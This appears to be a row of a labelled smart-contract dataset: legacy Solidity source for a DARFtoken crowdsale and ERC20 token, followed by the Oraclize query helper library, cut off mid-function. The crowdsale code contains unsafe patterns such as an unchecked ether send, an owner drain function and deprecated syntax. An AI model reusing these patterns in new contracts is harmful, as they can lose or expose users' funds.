event LogReceivedETH(address addr, uint value);
event LogCoinsEmited(address indexed from, uint amount);
event LogInvestshare(address indexed from, uint share);
function Crowdsale(address _DARFtokenAddress, address _to) {
coin = DARFtoken(_DARFtokenAddress);
multisigEther = _to;
}
function() stopInEmergency respectTimeFrame payable {
receiveETH(msg.sender);
}
function start() onlyOwner {
require (startTime == 0);
startTime = now ;
endTime = now + CROWDSALE_PERIOD;
}
function receiveETH(address beneficiary) internal {
require(!(msg.value < MIN_BUY_ETHER));
if (multisigEther == beneficiary) return ;
uint coinToSend = bonus(msg.value.mul(COIN_PER_ETHER));
require(!(coinToSend.add(coinSentToEther) > MAX_CAP));
Backer backer = backers[beneficiary];
coin.transfer(beneficiary, coinToSend);
backer.coinSent = backer.coinSent.add(coinToSend);
backer.weiReceived = backer.weiReceived.add(msg.value);
multisigEther.send(msg.value);
if (backer.weiReceived > MIN_INVEST_BUY) {
uint share = msg.value.mul(10000).div(MIN_INVEST_BUY);
LogInvestshare(msg.sender,share);
if (MAX_INVEST_SHARE > share) {
Potential_Investor potential_investor = Potential_Investors[beneficiary];
potential_investor.coinSent = backer.coinSent;
potential_investor.weiReceived = backer.weiReceived;
if (potential_investor.profitshare == 0 ) {
uint startshare = potential_investor.weiReceived.mul(10000).div(MIN_INVEST_BUY);
MAX_INVEST_SHARE = MAX_INVEST_SHARE.sub(startshare);
potential_investor.profitshare = potential_investor.profitshare.add(startshare);
} else {
MAX_INVEST_SHARE = MAX_INVEST_SHARE.sub(share);
potential_investor.profitshare = potential_investor.profitshare.add(share);
LogInvestshare(msg.sender,potential_investor.profitshare);
}
}
}
etherReceived = etherReceived.add(msg.value);
coinSentToEther = coinSentToEther.add(coinToSend);
LogCoinsEmited(msg.sender ,coinToSend);
LogReceivedETH(beneficiary, etherReceived);
}
function bonus(uint256 amount) internal constant returns (uint256) {
if (amount >= BIGSELL ) {
amount = amount.add(amount.div(10).mul(3));
}
if (now < startTime.add(16 days)) return amount.add(amount.div(4));
if (now < startTime.add(18 days)) return amount.add(amount.div(5));
if (now < startTime.add(22 days)) return amount.add(amount.div(20).mul(3));
if (now < startTime.add(25 days)) return amount.add(amount.div(10));
if (now < startTime.add(28 days)) return amount.add(amount.div(20));
return amount;
}
function finalize() onlyOwner public {
if (now < endTime) {
require (coinSentToEther == MAX_CAP);
}
require(!(coinSentToEther < MIN_CAP && now < endTime + 15 days));
require(multisigEther.send(this.balance));
uint remains = coin.balanceOf(this);
crowdsaleClosed = true;
}
function drain() onlyOwner {
require(owner.send(this.balance)) ;
}
function setMultisig(address addr) onlyOwner public {
require(addr != address(0)) ;
multisigEther = addr;
}
function backDARFtokenOwner() onlyOwner public {
coin.transferOwnership(owner);
}
function getRemainCoins() onlyOwner public {
var remains = MAX_CAP - coinSentToEther;
uint minCoinsToSell = bonus(MIN_BUY_ETHER.mul(COIN_PER_ETHER) / (1 ether));
require(!(remains > minCoinsToSell));
Backer backer = backers[owner];
coin.transfer(owner, remains);
backer.coinSent = backer.coinSent.add(remains);
coinSentToEther = coinSentToEther.add(remains);
LogCoinsEmited(this ,remains);
LogReceivedETH(owner, etherReceived);
}
function refund(uint _value) minCapNotReached public {
require (_value == backers[msg.sender].coinSent) ;
coin.transferFrom(msg.sender, address(this), _value);
uint ETHToSend = backers[msg.sender].weiReceived;
backers[msg.sender].weiReceived=0;
if (ETHToSend > 0) {
asyncSend(msg.sender, ETHToSend);
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract DARFtoken is StandardToken, Ownable {
string public constant name = "DARFtoken";
string public constant symbol = "DAR";
uint public constant decimals = 18;
function DARFtoken() {
totalSupply = 84000000 ether;
balances[msg.sender] = totalSupply;
}
function burn(uint _value) onlyOwner returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Transfer(msg.sender, 0x0, _value);
return true;
}
} | 0 | 921 |
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
